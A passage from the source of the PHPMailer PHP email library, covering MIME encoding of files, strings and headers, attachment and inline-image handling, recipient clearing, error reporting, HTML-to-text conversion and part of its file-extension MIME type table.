  2651.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2652.      * @throws phpmailerException
  2653.      * @access protected
  2654.      * @return string
  2655.      */
  2656.     protected function encodeFile($path, $encoding = 'base64')
  2657.     {
  2658.         try {
  2659.             if (!is_readable($path)) {
  2660.                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2661.             }
  2662.             $magic_quotes = get_magic_quotes_runtime();
  2663.             if ($magic_quotes) {
  2664.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2665.                     set_magic_quotes_runtime(false);
  2666.                 } else {
  2667.                     //Doesn't exist in PHP 5.4, but we don't need to check because
  2668.                     //get_magic_quotes_runtime always returns false in 5.4+
  2669.                     //so it will never get here
  2670.                     ini_set('magic_quotes_runtime', false);
  2671.                 }
  2672.             }
  2673.             $file_buffer = file_get_contents($path);
  2674.             $file_buffer = $this->encodeString($file_buffer, $encoding);
  2675.             if ($magic_quotes) {
  2676.                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2677.                     set_magic_quotes_runtime($magic_quotes);
  2678.                 } else {
  2679.                     ini_set('magic_quotes_runtime', $magic_quotes);
  2680.                 }
  2681.             }
  2682.             return $file_buffer;
  2683.         } catch (Exception $exc) {
  2684.             $this->setError($exc->getMessage());
  2685.             return '';
  2686.         }
  2687.     }
  2688.  
  2689.     /**
  2690.      * Encode a string in requested format.
  2691.      * Returns an empty string on failure.
  2692.      * @param string $str The text to encode
  2693.      * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2694.      * @access public
  2695.      * @return string
  2696.      */
  2697.     public function encodeString($str, $encoding = 'base64')
  2698.     {
  2699.         $encoded = '';
  2700.         switch (strtolower($encoding)) {
  2701.             case 'base64':
  2702.                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2703.                 break;
  2704.             case '7bit':
  2705.             case '8bit':
  2706.                 $encoded = $this->fixEOL($str);
  2707.                 // Make sure it ends with a line break
  2708.                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2709.                     $encoded .= $this->LE;
  2710.                 }
  2711.                 break;
  2712.             case 'binary':
  2713.                 $encoded = $str;
  2714.                 break;
  2715.             case 'quoted-printable':
  2716.                 $encoded = $this->encodeQP($str);
  2717.                 break;
  2718.             default:
  2719.                 $this->setError($this->lang('encoding') . $encoding);
  2720.                 break;
  2721.         }
  2722.         return $encoded;
  2723.     }
  2724.  
  2725.     /**
  2726.      * Encode a header string optimally.
  2727.      * Picks shortest of Q, B, quoted-printable or none.
  2728.      * @access public
  2729.      * @param string $str
  2730.      * @param string $position
  2731.      * @return string
  2732.      */
  2733.     public function encodeHeader($str, $position = 'text')
  2734.     {
  2735.         $matchcount = 0;
  2736.         switch (strtolower($position)) {
  2737.             case 'phrase':
  2738.                 if (!preg_match('/[\200-\377]/', $str)) {
  2739.                     // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2740.                     $encoded = addcslashes($str, "\0..\37\177\\\"");
  2741.                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2742.                         return ($encoded);
  2743.                     } else {
  2744.                         return ("\"$encoded\"");
  2745.                     }
  2746.                 }
  2747.                 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2748.                 break;
  2749.             /** @noinspection PhpMissingBreakStatementInspection */
  2750.             case 'comment':
  2751.                 $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2752.                 // Intentional fall-through
  2753.             case 'text':
  2754.             default:
  2755.                 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2756.                 break;
  2757.         }
  2758.  
  2759.         //There are no chars that need encoding
  2760.         if ($matchcount == 0) {
  2761.             return ($str);
  2762.         }
  2763.  
  2764.         $maxlen = 75 - 7 - strlen($this->CharSet);
  2765.         // Try to select the encoding which should produce the shortest output
  2766.         if ($matchcount > strlen($str) / 3) {
  2767.             // More than a third of the content will need encoding, so B encoding will be most efficient
  2768.             $encoding = 'B';
  2769.             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2770.                 // Use a custom function which correctly encodes and wraps long
  2771.                 // multibyte strings without breaking lines within a character
  2772.                 $encoded = $this->base64EncodeWrapMB($str, "\n");
  2773.             } else {
  2774.                 $encoded = base64_encode($str);
  2775.                 $maxlen -= $maxlen % 4;
  2776.                 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2777.             }
  2778.         } else {
  2779.             $encoding = 'Q';
  2780.             $encoded = $this->encodeQ($str, $position);
  2781.             $encoded = $this->wrapText($encoded, $maxlen, true);
  2782.             $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2783.         }
  2784.  
  2785.         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2786.         $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2787.  
  2788.         return $encoded;
  2789.     }
  2790.  
  2791.     /**
  2792.      * Check if a string contains multi-byte characters.
  2793.      * @access public
  2794.      * @param string $str multi-byte text to wrap encode
  2795.      * @return boolean
  2796.      */
  2797.     public function hasMultiBytes($str)
  2798.     {
  2799.         if (function_exists('mb_strlen')) {
  2800.             return (strlen($str) > mb_strlen($str, $this->CharSet));
  2801.         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2802.             return false;
  2803.         }
  2804.     }
  2805.  
  2806.     /**
  2807.      * Does a string contain any 8-bit chars (in any charset)?
  2808.      * @param string $text
  2809.      * @return boolean
  2810.      */
  2811.     public function has8bitChars($text)
  2812.     {
  2813.         return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2814.     }
  2815.  
  2816.     /**
  2817.      * Encode and wrap long multibyte strings for mail headers
  2818.      * without breaking lines within a character.
  2819.      * Adapted from a function by paravoid
  2820.      * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
  2821.      * @access public
  2822.      * @param string $str multi-byte text to wrap encode
  2823.      * @param string $linebreak string to use as linefeed/end-of-line
  2824.      * @return string
  2825.      */
  2826.     public function base64EncodeWrapMB($str, $linebreak = null)
  2827.     {
  2828.         $start = '=?' . $this->CharSet . '?B?';
  2829.         $end = '?=';
  2830.         $encoded = '';
  2831.         if ($linebreak === null) {
  2832.             $linebreak = $this->LE;
  2833.         }
  2834.  
  2835.         $mb_length = mb_strlen($str, $this->CharSet);
  2836.         // Each line must have length <= 75, including $start and $end
  2837.         $length = 75 - strlen($start) - strlen($end);
  2838.         // Average multi-byte ratio
  2839.         $ratio = $mb_length / strlen($str);
  2840.         // Base64 has a 4:3 ratio
  2841.         $avgLength = floor($length * $ratio * .75);
  2842.  
  2843.         for ($i = 0; $i < $mb_length; $i += $offset) {
  2844.             $lookBack = 0;
  2845.             do {
  2846.                 $offset = $avgLength - $lookBack;
  2847.                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2848.                 $chunk = base64_encode($chunk);
  2849.                 $lookBack++;
  2850.             } while (strlen($chunk) > $length);
  2851.             $encoded .= $chunk . $linebreak;
  2852.         }
  2853.  
  2854.         // Chomp the last linefeed
  2855.         $encoded = substr($encoded, 0, -strlen($linebreak));
  2856.         return $encoded;
  2857.     }
  2858.  
  2859.     /**
  2860.      * Encode a string in quoted-printable format.
  2861.      * According to RFC2045 section 6.7.
  2862.      * @access public
  2863.      * @param string $string The text to encode
  2864.      * @param integer $line_max Number of chars allowed on a line before wrapping
  2865.      * @return string
  2866.      * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
  2867.      */
  2868.     public function encodeQP($string, $line_max = 76)
  2869.     {
  2870.         // Use native function if it's available (>= PHP5.3)
  2871.         if (function_exists('quoted_printable_encode')) {
  2872.             return quoted_printable_encode($string);
  2873.         }
  2874.         // Fall back to a pure PHP implementation
  2875.         $string = str_replace(
  2876.             array('%20', '%0D%0A.', '%0D%0A', '%'),
  2877.             array(' ', "\r\n=2E", "\r\n", '='),
  2878.             rawurlencode($string)
  2879.         );
  2880.         return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2881.     }
  2882.  
  2883.     /**
  2884.      * Backward compatibility wrapper for an old QP encoding function that was removed.
  2885.      * @see PHPMailer::encodeQP()
  2886.      * @access public
  2887.      * @param string $string
  2888.      * @param integer $line_max
  2889.      * @param boolean $space_conv
  2890.      * @return string
  2891.      * @deprecated Use encodeQP instead.
  2892.      */
  2893.     public function encodeQPphp(
  2894.         $string,
  2895.         $line_max = 76,
  2896.         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2897.     ) {
  2898.         return $this->encodeQP($string, $line_max);
  2899.     }
  2900.  
  2901.     /**
  2902.      * Encode a string using Q encoding.
  2903.      * @link http://tools.ietf.org/html/rfc2047
  2904.      * @param string $str the text to encode
  2905.      * @param string $position Where the text is going to be used, see the RFC for what that means
  2906.      * @access public
  2907.      * @return string
  2908.      */
  2909.     public function encodeQ($str, $position = 'text')
  2910.     {
  2911.         // There should not be any EOL in the string
  2912.         $pattern = '';
  2913.         $encoded = str_replace(array("\r", "\n"), '', $str);
  2914.         switch (strtolower($position)) {
  2915.             case 'phrase':
  2916.                 // RFC 2047 section 5.3
  2917.                 $pattern = '^A-Za-z0-9!*+\/ -';
  2918.                 break;
  2919.             /** @noinspection PhpMissingBreakStatementInspection */
  2920.             case 'comment':
  2921.                 // RFC 2047 section 5.2
  2922.                 $pattern = '\(\)"';
  2923.                 // intentional fall-through
  2924.                 // for this reason we build the $pattern without including delimiters and []
  2925.             case 'text':
  2926.             default:
  2927.                 // RFC 2047 section 5.1
  2928.                 // Replace every high ascii, control, =, ? and _ characters
  2929.                 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2930.                 break;
  2931.         }
  2932.         $matches = array();
  2933.         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2934.             // If the string contains an '=', make sure it's the first thing we replace
  2935.             // so as to avoid double-encoding
  2936.             $eqkey = array_search('=', $matches[0]);
  2937.             if (false !== $eqkey) {
  2938.                 unset($matches[0][$eqkey]);
  2939.                 array_unshift($matches[0], '=');
  2940.             }
  2941.             foreach (array_unique($matches[0]) as $char) {
  2942.                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2943.             }
  2944.         }
  2945.         // Replace every spaces to _ (more readable than =20)
  2946.         return str_replace(' ', '_', $encoded);
  2947.     }
  2948.  
  2949.     /**
  2950.      * Add a string or binary attachment (non-filesystem).
  2951.      * This method can be used to attach ascii or binary data,
  2952.      * such as a BLOB record from a database.
  2953.      * @param string $string String attachment data.
  2954.      * @param string $filename Name of the attachment.
  2955.      * @param string $encoding File encoding (see $Encoding).
  2956.      * @param string $type File extension (MIME) type.
  2957.      * @param string $disposition Disposition to use
  2958.      * @return void
  2959.      */
  2960.     public function addStringAttachment(
  2961.         $string,
  2962.         $filename,
  2963.         $encoding = 'base64',
  2964.         $type = '',
  2965.         $disposition = 'attachment'
  2966.     ) {
  2967.         // If a MIME type is not specified, try to work it out from the file name
  2968.         if ($type == '') {
  2969.             $type = self::filenameToType($filename);
  2970.         }
  2971.         // Append to $attachment array
  2972.         $this->attachment[] = array(
  2973.             0 => $string,
  2974.             1 => $filename,
  2975.             2 => basename($filename),
  2976.             3 => $encoding,
  2977.             4 => $type,
  2978.             5 => true, // isStringAttachment
  2979.             6 => $disposition,
  2980.             7 => 0
  2981.         );
  2982.     }
  2983.  
  2984.     /**
  2985.      * Add an embedded (inline) attachment from a file.
  2986.      * This can include images, sounds, and just about any other document type.
  2987.      * These differ from 'regular' attachments in that they are intended to be
  2988.      * displayed inline with the message, not just attached for download.
  2989.      * This is used in HTML messages that embed the images
  2990.      * the HTML refers to using the $cid value.
  2991.      * @param string $path Path to the attachment.
  2992.      * @param string $cid Content ID of the attachment; Use this to reference
  2993.      *        the content when using an embedded image in HTML.
  2994.      * @param string $name Overrides the attachment name.
  2995.      * @param string $encoding File encoding (see $Encoding).
  2996.      * @param string $type File MIME type.
  2997.      * @param string $disposition Disposition to use
  2998.      * @return boolean True on successfully adding an attachment
  2999.      */
  3000.     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  3001.     {
  3002.         if (!@is_file($path)) {
  3003.             $this->setError($this->lang('file_access') . $path);
  3004.             return false;
  3005.         }
  3006.  
  3007.         // If a MIME type is not specified, try to work it out from the file name
  3008.         if ($type == '') {
  3009.             $type = self::filenameToType($path);
  3010.         }
  3011.  
  3012.         $filename = basename($path);
  3013.         if ($name == '') {
  3014.             $name = $filename;
  3015.         }
  3016.  
  3017.         // Append to $attachment array
  3018.         $this->attachment[] = array(
  3019.             0 => $path,
  3020.             1 => $filename,
  3021.             2 => $name,
  3022.             3 => $encoding,
  3023.             4 => $type,
  3024.             5 => false, // isStringAttachment
  3025.             6 => $disposition,
  3026.             7 => $cid
  3027.         );
  3028.         return true;
  3029.     }
  3030.  
  3031.     /**
  3032.      * Add an embedded stringified attachment.
  3033.      * This can include images, sounds, and just about any other document type.
  3034.      * Be sure to set the $type to an image type for images:
  3035.      * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  3036.      * @param string $string The attachment binary data.
  3037.      * @param string $cid Content ID of the attachment; Use this to reference
  3038.      *        the content when using an embedded image in HTML.
  3039.      * @param string $name
  3040.      * @param string $encoding File encoding (see $Encoding).
  3041.      * @param string $type MIME type.
  3042.      * @param string $disposition Disposition to use
  3043.      * @return boolean True on successfully adding an attachment
  3044.      */
  3045.     public function addStringEmbeddedImage(
  3046.         $string,
  3047.         $cid,
  3048.         $name = '',
  3049.         $encoding = 'base64',
  3050.         $type = '',
  3051.         $disposition = 'inline'
  3052.     ) {
  3053.         // If a MIME type is not specified, try to work it out from the name
  3054.         if ($type == '' and !empty($name)) {
  3055.             $type = self::filenameToType($name);
  3056.         }
  3057.  
  3058.         // Append to $attachment array
  3059.         $this->attachment[] = array(
  3060.             0 => $string,
  3061.             1 => $name,
  3062.             2 => $name,
  3063.             3 => $encoding,
  3064.             4 => $type,
  3065.             5 => true, // isStringAttachment
  3066.             6 => $disposition,
  3067.             7 => $cid
  3068.         );
  3069.         return true;
  3070.     }
  3071.  
  3072.     /**
  3073.      * Check if an inline attachment is present.
  3074.      * @access public
  3075.      * @return boolean
  3076.      */
  3077.     public function inlineImageExists()
  3078.     {
  3079.         foreach ($this->attachment as $attachment) {
  3080.             if ($attachment[6] == 'inline') {
  3081.                 return true;
  3082.             }
  3083.         }
  3084.         return false;
  3085.     }
  3086.  
  3087.     /**
  3088.      * Check if an attachment (non-inline) is present.
  3089.      * @return boolean
  3090.      */
  3091.     public function attachmentExists()
  3092.     {
  3093.         foreach ($this->attachment as $attachment) {
  3094.             if ($attachment[6] == 'attachment') {
  3095.                 return true;
  3096.             }
  3097.         }
  3098.         return false;
  3099.     }
  3100.  
  3101.     /**
  3102.      * Check if this message has an alternative body set.
  3103.      * @return boolean
  3104.      */
  3105.     public function alternativeExists()
  3106.     {
  3107.         return !empty($this->AltBody);
  3108.     }
  3109.  
  3110.     /**
  3111.      * Clear queued addresses of given kind.
  3112.      * @access protected
  3113.      * @param string $kind 'to', 'cc', or 'bcc'
  3114.      * @return void
  3115.      */
  3116.     public function clearQueuedAddresses($kind)
  3117.     {
  3118.         $RecipientsQueue = $this->RecipientsQueue;
  3119.         foreach ($RecipientsQueue as $address => $params) {
  3120.             if ($params[0] == $kind) {
  3121.                 unset($this->RecipientsQueue[$address]);
  3122.             }
  3123.         }
  3124.     }
  3125.  
  3126.     /**
  3127.      * Clear all To recipients.
  3128.      * @return void
  3129.      */
  3130.     public function clearAddresses()
  3131.     {
  3132.         foreach ($this->to as $to) {
  3133.             unset($this->all_recipients[strtolower($to[0])]);
  3134.         }
  3135.         $this->to = array();
  3136.         $this->clearQueuedAddresses('to');
  3137.     }
  3138.  
  3139.     /**
  3140.      * Clear all CC recipients.
  3141.      * @return void
  3142.      */
  3143.     public function clearCCs()
  3144.     {
  3145.         foreach ($this->cc as $cc) {
  3146.             unset($this->all_recipients[strtolower($cc[0])]);
  3147.         }
  3148.         $this->cc = array();
  3149.         $this->clearQueuedAddresses('cc');
  3150.     }
  3151.  
  3152.     /**
  3153.      * Clear all BCC recipients.
  3154.      * @return void
  3155.      */
  3156.     public function clearBCCs()
  3157.     {
  3158.         foreach ($this->bcc as $bcc) {
  3159.             unset($this->all_recipients[strtolower($bcc[0])]);
  3160.         }
  3161.         $this->bcc = array();
  3162.         $this->clearQueuedAddresses('bcc');
  3163.     }
  3164.  
  3165.     /**
  3166.      * Clear all ReplyTo recipients.
  3167.      * @return void
  3168.      */
  3169.     public function clearReplyTos()
  3170.     {
  3171.         $this->ReplyTo = array();
  3172.         $this->ReplyToQueue = array();
  3173.     }
  3174.  
  3175.     /**
  3176.      * Clear all recipient types.
  3177.      * @return void
  3178.      */
  3179.     public function clearAllRecipients()
  3180.     {
  3181.         $this->to = array();
  3182.         $this->cc = array();
  3183.         $this->bcc = array();
  3184.         $this->all_recipients = array();
  3185.         $this->RecipientsQueue = array();
  3186.     }
  3187.  
  3188.     /**
  3189.      * Clear all filesystem, string, and binary attachments.
  3190.      * @return void
  3191.      */
  3192.     public function clearAttachments()
  3193.     {
  3194.         $this->attachment = array();
  3195.     }
  3196.  
  3197.     /**
  3198.      * Clear all custom headers.
  3199.      * @return void
  3200.      */
  3201.     public function clearCustomHeaders()
  3202.     {
  3203.         $this->CustomHeader = array();
  3204.     }
  3205.  
  3206.     /**
  3207.      * Add an error message to the error container.
  3208.      * @access protected
  3209.      * @param string $msg
  3210.      * @return void
  3211.      */
  3212.     protected function setError($msg)
  3213.     {
  3214.         $this->error_count++;
  3215.         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  3216.             $lasterror = $this->smtp->getError();
  3217.             if (!empty($lasterror['error'])) {
  3218.                 $msg .= $this->lang('smtp_error') . $lasterror['error'];
  3219.                 if (!empty($lasterror['detail'])) {
  3220.                     $msg .= ' Detail: '. $lasterror['detail'];
  3221.                 }
  3222.                 if (!empty($lasterror['smtp_code'])) {
  3223.                     $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
  3224.                 }
  3225.                 if (!empty($lasterror['smtp_code_ex'])) {
  3226.                     $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  3227.                 }
  3228.             }
  3229.         }
  3230.         $this->ErrorInfo = $msg;
  3231.     }
  3232.  
  3233.     /**
  3234.      * Return an RFC 822 formatted date.
  3235.      * @access public
  3236.      * @return string
  3237.      * @static
  3238.      */
  3239.     public static function rfcDate()
  3240.     {
  3241.         // Set the time zone to whatever the default is to avoid 500 errors
  3242.         // Will default to UTC if it's not set properly in php.ini
  3243.         date_default_timezone_set(@date_default_timezone_get());
  3244.         return date('D, j M Y H:i:s O');
  3245.     }
  3246.  
  3247.     /**
  3248.      * Get the server hostname.
  3249.      * Returns 'localhost.localdomain' if unknown.
  3250.      * @access protected
  3251.      * @return string
  3252.      */
  3253.     protected function serverHostname()
  3254.     {
  3255.         $result = 'localhost.localdomain';
  3256.         if (!empty($this->Hostname)) {
  3257.             $result = $this->Hostname;
  3258.         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  3259.             $result = $_SERVER['SERVER_NAME'];
  3260.         } elseif (function_exists('gethostname') && gethostname() !== false) {
  3261.             $result = gethostname();
  3262.         } elseif (php_uname('n') !== false) {
  3263.             $result = php_uname('n');
  3264.         }
  3265.         return $result;
  3266.     }
  3267.  
  3268.     /**
  3269.      * Get an error message in the current language.
  3270.      * @access protected
  3271.      * @param string $key
  3272.      * @return string
  3273.      */
  3274.     protected function lang($key)
  3275.     {
  3276.         if (count($this->language) < 1) {
  3277.             $this->setLanguage('en'); // set the default language
  3278.         }
  3279.  
  3280.         if (array_key_exists($key, $this->language)) {
  3281.             if ($key == 'smtp_connect_failed') {
  3282.                 //Include a link to troubleshooting docs on SMTP connection failure
  3283.                 //this is by far the biggest cause of support questions
  3284.                 //but it's usually not PHPMailer's fault.
  3285.                 return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  3286.             }
  3287.             return $this->language[$key];
  3288.         } else {
  3289.             //Return the key as a fallback
  3290.             return $key;
  3291.         }
  3292.     }
  3293.  
  3294.     /**
  3295.      * Check if an error occurred.
  3296.      * @access public
  3297.      * @return boolean True if an error did occur.
  3298.      */
  3299.     public function isError()
  3300.     {
  3301.         return ($this->error_count > 0);
  3302.     }
  3303.  
  3304.     /**
  3305.      * Ensure consistent line endings in a string.
  3306.      * Changes every end of line from CRLF, CR or LF to $this->LE.
  3307.      * @access public
  3308.      * @param string $str String to fixEOL
  3309.      * @return string
  3310.      */
  3311.     public function fixEOL($str)
  3312.     {
  3313.         // Normalise to \n
  3314.         $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  3315.         // Now convert LE as needed
  3316.         if ($this->LE !== "\n") {
  3317.             $nstr = str_replace("\n", $this->LE, $nstr);
  3318.         }
  3319.         return $nstr;
  3320.     }
  3321.  
  3322.     /**
  3323.      * Add a custom header.
  3324.      * $name value can be overloaded to contain
  3325.      * both header name and value (name:value)
  3326.      * @access public
  3327.      * @param string $name Custom header name
  3328.      * @param string $value Header value
  3329.      * @return void
  3330.      */
  3331.     public function addCustomHeader($name, $value = null)
  3332.     {
  3333.         if ($value === null) {
  3334.             // Value passed in as name:value
  3335.             $this->CustomHeader[] = explode(':', $name, 2);
  3336.         } else {
  3337.             $this->CustomHeader[] = array($name, $value);
  3338.         }
  3339.     }
  3340.  
  3341.     /**
  3342.      * Returns all custom headers.
  3343.      * @return array
  3344.      */
  3345.     public function getCustomHeaders()
  3346.     {
  3347.         return $this->CustomHeader;
  3348.     }
  3349.  
  3350.     /**
  3351.      * Create a message from an HTML string.
  3352.      * Automatically makes modifications for inline images and backgrounds
  3353.      * and creates a plain-text version by converting the HTML.
  3354.      * Overwrites any existing values in $this->Body and $this->AltBody
  3355.      * @access public
  3356.      * @param string $message HTML message string
  3357.      * @param string $basedir baseline directory for path
  3358.      * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  3359.      *    or your own custom converter @see PHPMailer::html2text()
  3360.      * @return string $message
  3361.      */
  3362.     public function msgHTML($message, $basedir = '', $advanced = false)
  3363.     {
  3364.         preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  3365.         if (array_key_exists(2, $images)) {
  3366.             foreach ($images[2] as $imgindex => $url) {
  3367.                 // Convert data URIs into embedded images
  3368.                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  3369.                     $data = substr($url, strpos($url, ','));
  3370.                     if ($match[2]) {
  3371.                         $data = base64_decode($data);
  3372.                     } else {
  3373.                         $data = rawurldecode($data);
  3374.                     }
  3375.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3376.                     if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  3377.                         $message = str_replace(
  3378.                             $images[0][$imgindex],
  3379.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3380.                             $message
  3381.                         );
  3382.                     }
  3383.                 } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  3384.                     // Do not change urls for absolute images (thanks to corvuscorax)
  3385.                     // Do not change urls that are already inline images
  3386.                     $filename = basename($url);
  3387.                     $directory = dirname($url);
  3388.                     if ($directory == '.') {
  3389.                         $directory = '';
  3390.                     }
  3391.                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  3392.                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  3393.                         $basedir .= '/';
  3394.                     }
  3395.                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  3396.                         $directory .= '/';
  3397.                     }
  3398.                     if ($this->addEmbeddedImage(
  3399.                         $basedir . $directory . $filename,
  3400.                         $cid,
  3401.                         $filename,
  3402.                         'base64',
  3403.                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  3404.                     )
  3405.                     ) {
  3406.                         $message = preg_replace(
  3407.                             '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  3408.                             $images[1][$imgindex] . '="cid:' . $cid . '"',
  3409.                             $message
  3410.                         );
  3411.                     }
  3412.                 }
  3413.             }
  3414.         }
  3415.         $this->isHTML(true);
  3416.         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  3417.         $this->Body = $this->normalizeBreaks($message);
  3418.         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  3419.         if (empty($this->AltBody)) {
  3420.             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  3421.                 self::CRLF . self::CRLF;
  3422.         }
  3423.         return $this->Body;
  3424.     }
  3425.  
  3426.     /**
  3427.      * Convert an HTML string into plain text.
  3428.      * This is used by msgHTML().
  3429.      * Note - older versions of this function used a bundled advanced converter
  3430.      * which was been removed for license reasons in #232
  3431.      * Example usage:
  3432.      * <code>
  3433.      * // Use default conversion
  3434.      * $plain = $mail->html2text($html);
  3435.      * // Use your own custom converter
  3436.      * $plain = $mail->html2text($html, function($html) {
  3437.      *     $converter = new MyHtml2text($html);
  3438.      *     return $converter->get_text();
  3439.      * });
  3440.      * </code>
  3441.      * @param string $html The HTML text to convert
  3442.      * @param boolean|callable $advanced Any boolean value to use the internal converter,
  3443.      *   or provide your own callable for custom conversion.
  3444.      * @return string
  3445.      */
  3446.     public function html2text($html, $advanced = false)
  3447.     {
  3448.         if (is_callable($advanced)) {
  3449.             return call_user_func($advanced, $html);
  3450.         }
  3451.         return html_entity_decode(
  3452.             trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  3453.             ENT_QUOTES,
  3454.             $this->CharSet
  3455.         );
  3456.     }
  3457.  
  3458.     /**
  3459.      * Get the MIME type for a file extension.
  3460.      * @param string $ext File extension
  3461.      * @access public
  3462.      * @return string MIME type of file.
  3463.      * @static
  3464.      */
  3465.     public static function _mime_types($ext = '')
  3466.     {
  3467.         $mimes = array(
  3468.             'xl'    => 'application/excel',
  3469.             'js'    => 'application/javascript',
  3470.             'hqx'   => 'application/mac-binhex40',
  3471.             'cpt'   => 'application/mac-compactpro',
  3472.             'bin'   => 'application/macbinary',
  3473.             'doc'   => 'application/msword',
  3474.             'word'  => 'application/msword',
  3475.             'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
  3476.             'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
  3477.             'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
  3478.             'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
  3479.             'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
  3480.             'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
  3481.             'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
  3482.             'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
  3483.             'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
  3484.             'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
  3485.             'class' => 'application/octet-stream',
  3486.             'dll'   => 'application/octet-stream',
  3487.             'dms'   => 'application/octet-stream',
  3488.             'exe'   => 'application/octet-stream',
  3489.             'lha'   => 'application/octet-stream',
  3490.             'lzh'   => 'application/octet-stream',
  3491.             'psd'   => 'application/octet-stream',
  3492.             'sea'   => 'application/octet-stream',
  3493.             'so'    => 'application/octet-stream',
  3494.             'oda'   => 'application/oda',
  3495.             'pdf'   => 'application/pdf',
  3496.             'ai'    => 'application/postscript',
  3497.             'eps'   => 'application/postscript',
  3498.             'ps'    => 'application/postscript',
  3499.             'smi'   => 'application/smil',
  3500.             'smil'  => 'application/smil',
  3501.             'mif'   => 'application/vnd.mif',
  3502.             'xls'   => 'application/vnd.ms-excel',
  3503.             'ppt'   => 'application/vnd.ms-powerpoint',
  3504.             'wbxml' => 'application/vnd.wap.wbxml',
  3505.             'wmlc'  => 'application/vnd.wap.wmlc',
  3506.             'dcr'   => 'application/x-director',
  3507.             'dir'   => 'application/x-director',
  3508.             'dxr'   => 'application/x-director',
  3509.             'dvi'   => 'application/x-dvi',
  3510.             'gtar'  => 'application/x-gtar',
  3511.             'php3'  => 'application/x-httpd-php',
  3512.             'php4'  => 'application/x-httpd-php',
  3513.             'php'   => 'application/x-httpd-php',
  3514.             'phtml' => 'application/x-httpd-php',
  3515.             'phps'  => 'application/x-httpd-php-source',
  3516.             'swf'   => 'application/x-shockwave-flash',
  3517.             'sit'   => 'application/x-stuffit',
  3518.             'tar'   => 'application/x-tar',
  3519.             'tgz'   => 'application/x-tar',
  3520.             'xht'   => 'application/xhtml+xml',
  3521.             'xhtml' => 'application/xhtml+xml',
  3522.             'zip'   => 'application/zip',
  3523.             'mid'   => 'audio/midi',
  3524.             'midi'  => 'audio/midi',
  3525.             'mp2'   => 'audio/mpeg',
  3526.             'mp3'   => 'audio/mpeg',
  3527.             'mpga'  => 'audio/mpeg',
  3528.             'aif'   => 'audio/x-aiff',
  3529.             'aifc'  => 'audio/x-aiff',
  3530.             'aiff'  => 'audio/x-aiff',
  3531.             'ram'   => 'audio/x-pn-realaudio',
  3532.             'rm'    => 'audio/x-pn-realaudio',
